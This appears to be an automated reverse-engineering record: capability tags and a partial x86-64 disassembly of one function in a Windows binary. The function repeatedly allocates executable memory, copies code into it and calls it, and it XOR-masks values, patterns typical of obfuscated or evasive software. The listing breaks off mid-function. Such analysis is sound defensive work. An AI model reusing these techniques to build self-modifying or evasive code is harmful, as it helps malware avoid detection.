Function at 0x14001e720
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x11570]
mov eax, 0x11670
call fcn.140025d20
sub rsp, rax
movaps xmmword [rsp + 0x11660], xmm6
movaps xmmword [rsp + 0x11650], xmm7
movaps xmmword [rsp + 0x11640], xmm8
movaps xmmword [rsp + 0x11630], xmm9
movaps xmmword [rsp + 0x11620], xmm10
movaps xmmword [rsp + 0x11610], xmm11
movaps xmmword [rsp + 0x11600], xmm12
movaps xmmword [rsp + 0x115f0], xmm13
mov rax, qword [0x140065040]
xor rax, rsp
mov qword [rbp + 0x114e0], rax
mov qword [rbp - 0x30], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
lea rcx, [rbp + 0x11598]
movabs r12, 0xff00ff00ff00ff00
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rbp + 0x118], rax
xor r13d, r13d
mov qword [rcx], r13
call fcn.140024c3c
mov dword [rbp + 0x14d4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x150]
call fcn.1400068a0
mov dword [rbp], 0xffffff9c
mov dword [rbp + 4], 0x64
movdqa xmm0, xmmword [0x14005b040]
movups xmmword [rbp + 0xf8], xmm0
mov dword [rsp + 0x40], r13d
xorps xmm13, xmm13
movsd qword [rsp + 0x48], xmm13
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rax
lea rcx, [rbp + 0xa0]
call fcn.140008aa0
nop
lea rcx, [rbp + 8]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.140022230
nop
lea rcx, [rbp + 0x40]
call fcn.1400086c0
nop
lea rcx, [rbp + 8]
call fcn.1400086c0
lea rcx, [rbp + 8]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.140022230
nop
lea rcx, [rbp + 0x40]
call fcn.1400086c0
nop
lea rcx, [rbp + 8]
call fcn.1400086c0
lea rcx, [rbp + 8]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.140022230
nop
lea rcx, [rbp + 0x40]
call fcn.1400086c0
nop
lea rcx, [rbp + 8]
call fcn.1400086c0
lea rcx, [rbp + 8]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.140022230
nop
lea rcx, [rbp + 0x40]
call fcn.1400086c0
nop
lea rcx, [rbp + 8]
call fcn.1400086c0
lea rcx, [rbp + 8]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.140022230
nop
lea rcx, [rbp + 0x40]
call fcn.1400086c0
nop
lea rcx, [rbp + 8]
call fcn.1400086c0
lea rcx, [rbp + 8]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.140022230
nop
lea rcx, [rbp + 0x40]
call fcn.1400086c0
nop
lea rcx, [rbp + 8]
call fcn.1400086c0
lea rcx, [rbp + 0x110]
call fcn.140009fc0
mov qword [rbp + 8], 0x64
mov rax, qword [rbp + 0x110]
mov qword [rbp + 0x40], rax
lea r8, [rbp + 8]
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x78]
call fcn.140022100
mov rsi, qword [rax]
mov qword [rsp + 0x50], rsi
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0xb8]
call fcn.140005020
nop
lea rcx, [rbp + 0x108]
call fcn.140009fc0
mov qword [rbp + 0x18], rsi
mov rax, qword [rax]
mov qword [rbp + 0x40], rax
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x40]
call fcn.140021870
lea r14, [0x140000000]
mov r15d, 3
movsd xmm6, qword [0x14005afa8]
test al, al
jns 0x14001f97b
nop dword [rax]
nop dword [rax + rax]
movabs rsi, 0xff00ff00ff00ff00
mov r12d, 0x2710
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
call fcn.140009bf0
mov rbx, qword [rbp + 0xa8]
sub rbx, qword [rbp + 0xa0]
sar rbx, 3
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
call fcn.140009bf0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xa0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
call fcn.140009bf0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x68], rsi
lea rax, [rbp + 0x11598]
mov qword [rbp + 0x70], rax
mov r14, qword [rax]
xor r14, rsi
mov qword [rbp + 0x60], r14
mov qword [rax], r13
mov dword [rbp + 0x98], r13d
mov dword [rbp + 0x9c], 0x19
lea rcx, [rbp + 0xb8]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0xb8]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14001eb6d
nop dword [rax]
mov r9d, dword [rbp + 0x9c]
mov r8d, dword [rbp + 0x98]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x98]
call fcn.140009bf0
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x14001eb40
xor r14, rsi
mov qword [rbp + 0x60], r14
lea rdi, [rbp + 0x11598]
mov qword [rdi], r14
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x80]
call fcn.140008aa0
mov edx, 0x64
lea rcx, [rbp + 0x80]
call fcn.1400074f0
nop
lea rax, [rbp]
mov qword [rbp + 0xe0], rax
lea rax, [rbp + 0x150]
mov qword [rbp + 0xe8], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x80]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x80]
call fcn.140021420
movaps xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x60], xmm0
lea r8, [rbp + 0x60]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x80]
call fcn.140021410
mov rbx, qword [rax]
lea r8, [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
lea rcx, [rsp + 0x60]
call fcn.1400213f0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsp + 0x60]
call fcn.1400221a0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], rdi
mov r14, qword [rdi]
mov rax, r14
xor rax, rsi
mov qword [rbp + 0x40], rax
mov qword [rdi], r13
mov dword [rbp + 8], 0xffffff9c
mov dword [rbp + 0xc], 0x64
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rax, [rbp + 0x150]
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x80]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x80]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x80]
call fcn.140021420
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp - 0x50]
call fcn.140021780
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x80]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x80]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021f90
nop
mov qword [rbp + 0x40], r14
lea rbx, [rbp + 0x11598]
mov qword [rbx], r14
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xf8]
call fcn.140021f10
movsd qword [rbp + 0x40], xmm0
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xf8]
call fcn.140021f10
movsd qword [rbp + 0x18], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], rbx
mov rdi, qword [rbx]
xor rdi, rsi
mov qword [rbp + 0x20], rdi
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x70], rbx
mov qword [rbp + 0x60], rsi
mov qword [rbx], r13
mov ecx, r13d
mov rax, qword [0x14006a520]
lea r14, [0x140000000]
test rax, rax
je 0x14001edce
mov rdx, r13
lea r8, [0x140021750]
cmp rax, r8
je 0x14001edbd
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x6a520]
test rax, rax
jne 0x14001eda5
jmp 0x14001edce
mov r8, qword [r14 + rdx*8 + 0x69230]
test r8, r8
jne 0x14001eec6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001edf7
mov r8, r13
jmp 0x14001ee9e
lea rax, [0x140021750]
mov rcx, r8
mov rdx, r15
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001ee10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
lea rcx, [0x140021750]
mov qword [r14 + rax*8 + 0x6a520], rcx
mov qword [r14 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x18]
lea rcx, [0x140009f30]
call r8
nop
mov qword [rbp + 0x60], r13
mov qword [rbx], r13
addsd xmm0, xmm6
movsd qword [rsp + 0x68], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x70], rbx
mov rbx, qword [rbx]
xor rbx, rsi
mov qword [rbp + 0x60], rbx
lea rax, [rbp + 0x11598]
mov qword [rax], r13
mov ecx, r13d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14001ef4b
mov rdx, r13
lea r8, [0x140021750]
cmp rax, r8
je 0x14001ef3a
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14001ef22
jmp 0x14001ef4b
mov r8, qword [r14 + rdx*8 + 0x6ce10]
test r8, r8
jne 0x14001f037
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001ef74
mov r8, r13
jmp 0x14001f00f
lea rax, [0x140021750]
mov rcx, r8
mov rdx, r15
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001ef81
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
lea rcx, [0x140021750]
mov qword [r14 + rax*8 + 0x67c30], rcx
mov qword [r14 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x40]
lea rcx, [0x14002ed10]
call r8
movaps xmm9, xmm0
xor rbx, rsi
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x11598]
xorps xmm1, xmm1
movups xmmword [rbp + 0x60], xmm1
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x70], rcx
xor rbx, rsi
mov qword [rbp + 0x60], rbx
mov qword [rcx], r13
mov ecx, r13d
mov rax, qword [0x14006d450]
test rax, rax
je 0x14001f0b9
mov rdx, r13
lea r8, [0x140021750]
nop dword [rax]
cmp rax, r8
je 0x14001f0a8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x6d450]
test rax, rax
jne 0x14001f090
jmp 0x14001f0b9
mov r8, qword [r14 + rdx*8 + 0x68be0]
test r8, r8
jne 0x14001f1a6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001f0e2
mov r8, r13
jmp 0x14001f17e
lea rax, [0x140021750]
mov rcx, r8
mov rdx, r15
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001f0f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
lea rcx, [0x140021750]
mov qword [r14 + rax*8 + 0x6d450], rcx
mov qword [r14 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rsp + 0x68]
lea rcx, [0x14002e7e0]
call r8
movaps xmm8, xmm0
xor rbx, rsi
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x11598]
xorps xmm1, xmm1
movups xmmword [rbp + 0x60], xmm1
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x70], rcx
xor rbx, rsi
mov qword [rbp + 0x60], rbx
mov qword [rcx], r13
mov ecx, r13d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14001f229
mov rdx, r13
lea r8, [0x140021750]
nop dword [rax]
cmp rax, r8
je 0x14001f218
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14001f200
jmp 0x14001f229
mov r8, qword [r14 + rdx*8 + 0x6ce10]
test r8, r8
jne 0x14001f316
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001f252
mov r8, r13
jmp 0x14001f2ee
lea rax, [0x140021750]
mov rcx, r8
mov rdx, r15
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001f260
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
lea rcx, [0x140021750]
mov qword [r14 + rax*8 + 0x67c30], rcx
mov qword [r14 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x40]
lea rcx, [0x14002e260]
call r8
movaps xmm7, xmm0
xor rbx, rsi
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x11598]
xorps xmm1, xmm1
movups xmmword [rbp + 0x60], xmm1
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x70], rcx
xor rbx, rsi
mov qword [rbp + 0x60], rbx
mov qword [rcx], r13
mov ecx, r13d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14001f390
mov rdx, r13
lea r8, [0x140021750]
cmp rax, r8
je 0x14001f37f
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14001f367
jmp 0x14001f390
mov r8, qword [r14 + rdx*8 + 0x6ce10]
test r8, r8
jne 0x14001f486
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001f3b9
mov r8, r13
jmp 0x14001f45e
lea rax, [0x140021750]
mov rcx, r8
mov rdx, r15
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001f3d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
lea rcx, [0x140021750]
mov qword [r14 + rax*8 + 0x67c30], rcx
mov qword [r14 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x18]
lea rcx, [0x14002dcf0]
call r8
nop
xor rbx, rsi
mov qword [rbp + 0x60], rbx
mulsd xmm0, xmm7
addsd xmm0, xmm8
subsd xmm0, xmm9
xor rdi, rsi
mov qword [rbp + 0x20], rdi
lea rax, [rbp + 0x11598]
mov qword [rax], rdi
addsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
mov dword [rbp + 0x18], r15d
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xf8]
call fcn.140021f10
movsd qword [rsp + 0x70], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x28], rsi
lea rdi, [rbp + 0x11598]
mov qword [rbp + 0x30], rdi
mov rbx, qword [rdi]
xor rbx, rsi
mov qword [rbp + 0x20], rbx
mov qword [rdi], r13
mov ecx, r13d
mov rax, qword [0x14006c170]
test rax, rax
je 0x14001f549
mov rdx, r13
lea r8, [0x140021830]
cmp rax, r8
je 0x14001f538
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x6c170]
test rax, rax
jne 0x14001f520
jmp 0x14001f549
mov r9, qword [r14 + rdx*8 + 0x6b7f0]
test r9, r9
jne 0x14001f636
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14001f572
mov r9, r13
jmp 0x14001f60e
lea rax, [0x140021830]
mov rcx, r9
mov rdx, r15
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001f580
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
lea rcx, [0x140021830]
mov qword [r14 + rax*8 + 0x6c170], rcx
mov qword [r14 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0x18]
lea rdx, [rsp + 0x70]
lea rcx, [0x140009f50]
call r9
nop
xor rbx, rsi
mov qword [rbp + 0x20], rbx
mov qword [rdi], rbx
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0xf8]
call fcn.140021f10
movsd qword [rsp + 0x58], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], rdi
mov rbx, qword [rdi]
xor rbx, rsi
mov qword [rbp + 0x20], rbx
mov qword [rdi], r13
mov ecx, r13d
mov rax, qword [0x14006a840]
test rax, rax
je 0x14001f6db
mov rdx, r13
lea r8, [0x140021750]
cmp rax, r8
je 0x14001f6ca
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x6a840]
test rax, rax
jne 0x14001f6b2
jmp 0x14001f6db
mov r8, qword [r14 + rdx*8 + 0x69ba0]
test r8, r8
jne 0x14001f7c7
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001f704
mov r8, r13
jmp 0x14001f79f
lea rax, [0x140021750]
mov rcx, r8
mov rdx, r15
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001f711
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
lea rcx, [0x140021750]
mov qword [r14 + rax*8 + 0x6a840], rcx
mov qword [r14 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rsp + 0x58]
lea rcx, [0x140009f60]
call r8
nop
xor rbx, rsi
mov qword [rbp + 0x20], rbx
mov qword [rdi], rbx
mulsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
mov eax, dword [rsp + 0x40]
mov r9d, dword [rbp + 4]
mov r8d, dword [rbp]
lea rdx, [rbp + 0x150]
lea rcx, [rbp]
test al, 1
